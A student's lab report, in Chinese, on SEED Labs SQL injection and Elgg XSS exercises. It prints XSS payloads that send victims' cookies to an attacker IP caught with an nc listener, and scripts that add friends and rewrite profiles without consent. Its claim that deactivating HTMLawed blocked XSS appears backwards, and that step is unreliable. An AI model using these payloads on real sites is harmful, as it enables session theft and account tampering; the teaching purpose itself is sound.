20241902 2024-2025-2 《网络攻防实践》第十周作业
1.实践内容
本次实践包含两个实验:SQL注入攻击与防御实验以及XSS跨站脚本攻击实验。
一、SQL注入攻击与防御实验
实验环境是一个名为“三达不溜.SEEDLabSQLInjection.com”的员工管理Web应用程序,包含管理员和员工两个角色。实验任务如下:
①熟悉SQL语句:通过名为Users的数据库及其creditential表,熟悉SQL查询操作。
②SQL注入攻击:利用Web应用的SQL输入漏洞,在不知密码的情况下登录。
③在员工更新个人信息界面实施UPDATE语句的SQL注入攻击。
SQL对抗:修复上述SQL注入漏洞,增强系统安全性。
二、XSS跨站脚本攻击实验(Elgg)
实验环境是基于Ubuntu VM的Elgg Web应用程序,目标是利用XSS漏洞发起攻击并传播XSS蠕虫。实验任务如下:
①发布恶意消息:在Elgg配置文件中嵌入JavaScript程序,当其他用户查看时显示警报窗口。
②显示cookie信息:通过JavaScript程序显示用户的cookie信息。
③窃取cookie:将用户的cookie发送给攻击者。
④自动加好友:使用JavaScript程序在无需受害者干预的情况下加受害者为朋友。
⑤修改受害者信息:在受害者访问特定页面时,自动修改其资料。
⑥编写XSS蠕虫:实现蠕虫的传播,使查看受感染用户资料的用户也被感染。
⑦对抗XSS攻击:采取措施防御XSS攻击,保护系统安全。
通过这两个实验,深入理解了SQL注入和XSS攻击的原理、实施过程以及防御方法,提升了网络安全防护能力。
2.实践过程
0.实验环境准备
下载实验环境:SeedLab_ubuntu16.04:


在Vmware Workstation中打开虚拟机,并安装Vmware Tools,以在物理机和虚拟机之间互传以及扩展屏幕:



修改主机名为sqy:

1.SQL注入攻击与防御实验
输入命令mysql -u root -p登录mysql数据库(密码seedubuntu):

输入命令show databases;,查看所有的库:

输入命令use Users;和show tables;,查看users库中的表:

输入命令select * from credentials;,查看表中的数据:

浏览器打开网站www.seedlabsqlinjection.com:

查看网页源码,用户以GET方式将账户密码提交至unsafe_home.php进行验证:


输入命令vim /var/www/SQLInjection/unsafe_home.php,对unsafe_home.php进行分析:



通过分析上述SQL语句,在用户名后构造闭合语句'#进行注入攻击,成功登录后台:


输入命令vim /var/www/SQLInjection/unsafe_edit_backend.php对update语句进行分析:


与上述实验相同,构造闭合语句'#进行注入攻击,实现所有用户名昵称的更改:


将unsafe_home.php中的SELECT语句修改如下,实现注入漏洞的修复:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password From credential WHERE name= ? and Password=?;"); $sql->bind_param("ss",$input_uname,$hashed_pwd);

将中的UPDATE语句修改如下,实现注入漏洞的修复:
`$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);``

再次尝试注入时,无法实施攻击:

2.XSS跨站脚本攻击实验(Elgg)
浏览器打开网站www.xsslabelgg.com,使用Alice/seedalice登录系统:

进入Alice主页,点击Edit profile进入个人信息设置,在Brief description一栏中插入XSS攻击代码,并保存:
<script> alert("sqy_bighacker");


再次访问Alice主页,弹出警告信息:

在Brief description一栏中插入XSS攻击代码<script>alert(document.cookie);</script>,显示COOKIE:


查看攻击者ip:

在Brief description一栏中插入XSS攻击代码<script>document.write('<img src=http://192.168.200.8:41902?c='+escape(document.cookie) + ' >');</script>:

输入命令nc -l 41902 -v,对41902端口进行监听:

登录Boby的账号(密码seedboby),访问Alice主页,终端捕获到Boby的COOKIE:

在浏览器通过快捷键Ctrl+Shift+E进入开发者模式,添加Alice为好友,在Network一栏查看数据包:

打开数据包,可见添加Alice为好友时,friend=44、ts和token等信息:
登录Alice的账号,在About me一栏中(HTML模式)插入XSS攻击代码,以实现自动添加好友:
<script type="text/javascript"> window.onload = function () { var Ajax=null; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>

登录Boby账号,访问Alice主页,自动添加Alice为好友(甚至Alice访问自己的主页也添加了自己为好友doge):

登录Alice的账号,在About me一栏中(HTML模式)插入XSS攻击代码,以实现受害者信息的修改:
<script type="text/javascript"> window.onload = function(){ var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var content= token + ts + "name=" + userName + "&description=<p>Hacked by sqy_bighacker.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) var samyGuid=44; if(elgg.session.user.guid!=samyGuid) { var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>

登录Boby账号,访问Alice主页,回到自己的主页,发现信息被修改:

登录Alice的账号,在About me一栏中(HTML模式)插入XSS攻击代码,以实现XSS蠕虫攻击:
``

Boby被感染后,Samy(密码seedsamy)访问Boby主页,其信息也被修改:

登录Admin账号(密码seedelgg),点击Account->Administration->plugins,将HTMLawed设为Deactivate状态:

再次访问Alice主页,XSS漏洞已被修复:

3.学习中遇到的问题及解决
- 问题1:无法进行注入和XSS两个实验
- 问题1解决方案:通过大量的搜索得知,两个实验基于seedlab_ubuntu16.04,原有的旧系统和ubuntu20系统均无法直接实验,下载16.04镜像后进行实验
- 问题2:XSS攻击代码过长时,无法在Brief description一栏中插入,且在About me一栏中插入时报错
![]()
- 问题2解决方案:换用About me的HTML模式
4.实践总结
在本次实验中,深入探究了SQL注入攻击与防御以及XSS跨站脚本攻击的全过程。
SQL注入实验中,首先熟悉了SQL语句,通过实际操作理解了数据库的查询逻辑。随后,利用Web应用的漏洞,成功实施了SELECT和UPDATE语句的SQL注入攻击,突破了登录限制并篡改了数据。通过这一过程可以清晰地认识到SQL注入的危险性。在修复漏洞环节,学习了如何通过参数化查询等方法增强代码安全性,有效防止了SQL注入攻击。
XSS攻击实验中,基于Elgg平台,通过嵌入JavaScript代码,实现了恶意消息发布、cookie窃取、自动加好友、修改受害者信息等功能,并编写了XSS蠕虫,模拟了攻击的传播过程。这一过程揭示了XSS攻击的隐蔽性和危害性。在防御环节,学会了通过输入验证、编码等方式防止恶意脚本的注入,提升了Web应用的安全防护能力。
通过这两个实验,不仅掌握了攻击的实施方法,更重要的是学会了如何从攻击者的角度思考问题,从而更好地构建防御机制。

浙公网安备 33010602011771号